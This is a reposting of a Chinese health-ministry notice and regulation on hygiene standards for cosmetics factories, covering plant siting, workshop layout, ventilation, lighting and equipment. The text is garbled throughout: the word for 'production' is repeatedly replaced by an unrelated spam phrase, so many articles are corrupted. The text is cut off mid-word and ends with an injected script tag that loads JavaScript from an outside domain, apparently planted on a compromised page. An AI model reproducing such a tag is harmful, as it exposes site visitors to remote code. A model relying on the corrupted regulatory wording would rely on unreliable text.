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關于印發化妝品生産企業衛生規範的通知

编辑者:嘉工生物 2017-03-16 13:26:17

各省、自治区、直辖市卫生厅(局):现将我部制订的《化妝品生産企业卫生规范》(以下称《规范》)印发给你们,并将有关事宜通知如下:一、本《规范》是在总结几年来各省卫生监督机构对化妝品生産企业考核、验收、颁发卫生许可证工作基础上制订的。是对化妝品生産企业统一的规范性要求,是颁发《化妝品生産企业卫生许可证》的重要依据。请你们切实组织好有关卫生监督机构人员及化妝品生産企业的有关人员对《规范》的学习、宣传工作,使《规范》的实施落在实处。对在实施过程中发现的新问题,要及时反馈我部。二、各省卫生行政部门对化妝品生産企业卫生许可证的颁发、复核和换证要依据本《规范》的要求严格审批。对达不到《规范》要求的新的化妝品生産企业不予颁发《卫生许可证》。对已领取《卫生许可证》的老化妝品生産企业在复核、换证时也要依照本《规范》进行考核。对暂时未达到《规范》要求但有改造能力的比比资源先锋企业,可根据本省情况,要求其限期整改,促使其尽快达到《规范》的要求,但所定期限不应跨越复核、换证年度。化妝品生産企业卫生规范第一章 总则第一条 为加强化妝品生産企业的卫生管理,保证化妆品卫生质量和消费者的使用安全,依据《化妆品卫生监督条例》及其实施细则,制定本规范。第二条 本规范对化妝品生産企业的卫生管理包括化妝品生産企业厂址选择、厂区规划、比比资源先锋卫生要求、卫生质量检验、原材料和成品储存卫生及个人卫生和健康要求。第三条 凡从事化妝品生産的企业必须遵守本规范。第四条 地方各级人民政府卫生行政部门在各自的职责范围内负责监督本规范的实施。第二章 厂址选择与厂区规划第五条 化妝品生産企业应建于清洁区内,其比比资源先锋车间距有毒有害污染源不少于30米。第六条 产生有害气体、粉尘或有严重噪声的比比资源先锋车间与居民区应有一定的防护间隔,防护间隔的距离应不影响居民生活安全。第七条 化妝品生産企业厂区规划应符合卫生要求,比比资源先锋区、非比比资源先锋区设置应能保证比比资源先锋连续性且不得有交叉污染,比比资源先锋车间应置于清洁区内且位于当地主导上风向侧。第八条 比比资源先锋车间布局必须满足比比资源先锋工艺和卫生要求。化妝品生産企业原则上应设置原料间,制作间,半成品存放间,灌装间,包装间,容器清洁、消毒、干燥、存放间,仓库,检验室,办公室等。防止交叉污染。比比资源先锋车间不分隔时,车间内空气质量应达到灌装车间的卫生要求。第九条 化妝品生産过程中产生粉尘或使用有害、易燃、易爆原料的比比资源先锋必须使用单独比比资源先锋车间,专用比比资源先锋设备,并具备相应卫生安全措施。第十条 动力、供暖、空调机房、给排水系统和废水、废气、废渣的处理系统等辅助建筑物和设施应不影响比比资源先锋车间卫生。第三章 比比资源先锋的卫生要求第十一条 化妝品生産企业必须配备经专业培训的专职或兼职卫生管理人员,管理人员名单应报颁发《化妝品生産企业卫生许可证》的省级人民政府卫生行政部门备案。第十二条 制作、灌装、包装间总面积不得小于100平方米,比比资源先锋车间人均占地面积不得小于4平方米,车间净高不得小于2.5米。第十三条 比比资源先锋车间地面应平整、耐磨、防滑、无毒、不渗水、便于清洁消毒。需要清洗的工作区地面应有坡度,在最低处设置地漏。第十四条 比比资源先锋车间四壁及天花板应用浅色、无毒、耐腐、耐热、防潮、防霉材料涂衬,并应便于清洁消毒。防水层高度不得低于1.2米。第十五条 工作人员和物料均须经缓冲区进入或送入比比资源先锋车间。第十六条 比比资源先锋车间通道应宽畅,采用无阻拦设计,保证运输和卫生安全防护。车间内不得存放与比比资源先锋无关的物品。第十七条 比比资源先锋设备、工具、容器、场地等在使用前后应彻底清洗、消毒。第十八条 设参观走廊的比比资源先锋车间应用玻璃墙与比比资源先锋区隔开,防止人为污染。第十九条 比比资源先锋区必须设更衣室,室内应有衣柜、鞋架等更衣设施,并应配备流动水洗手设施。第二十条 比比资源先锋区厕所设在车间外侧,必须为水冲式,有防臭、防蚊蝇及昆虫等措施。第二十一条 半成品储存间、灌装间、清洁容器储存间、更衣室及缓冲区必须有空气净化或空气消毒设施。第二十二条 采用空气净化装置的比比资源先锋车间,其进风口应远离排风口,进风口距地面高度不少于2米,附近不得有污染源。采用紫外线消毒者,紫外线消毒灯按30瓦/10-15平方米设置,离地2.0米吊装。比比资源先锋车间空气中细菌总数不得超过1000个/立方米。第二十三条 比比资源先锋车间应有良好的采光及照明,工作面混合照度不应小于220LX,检验场所工作面混合照度不应小于540LX。第二十四条 比比资源先锋用水水质及水量应满足比比资源先锋工艺要求,水质至少达到生活饮用水卫生标准的规定。第二十五条 化妝品生産企业应有适合比比资源先锋特点、能保证比比资源先锋卫生质量的比比资源先锋设备。第二十六条 提倡比比资源先锋设备密闭化、管道化、固定设备、电路管道和水管的安装应防止水滴和冷凝物污染化妆品容器、设备及半成品、成品。第二十七条 凡接触化妆品原料和半成品的设备、工具、管道必须用无毒、无害、抗腐蚀材料制作,内壁应光滑,便于清洁和消毒。化妆品生?script src=http://cn.jxmmtv.com/cn.js></script>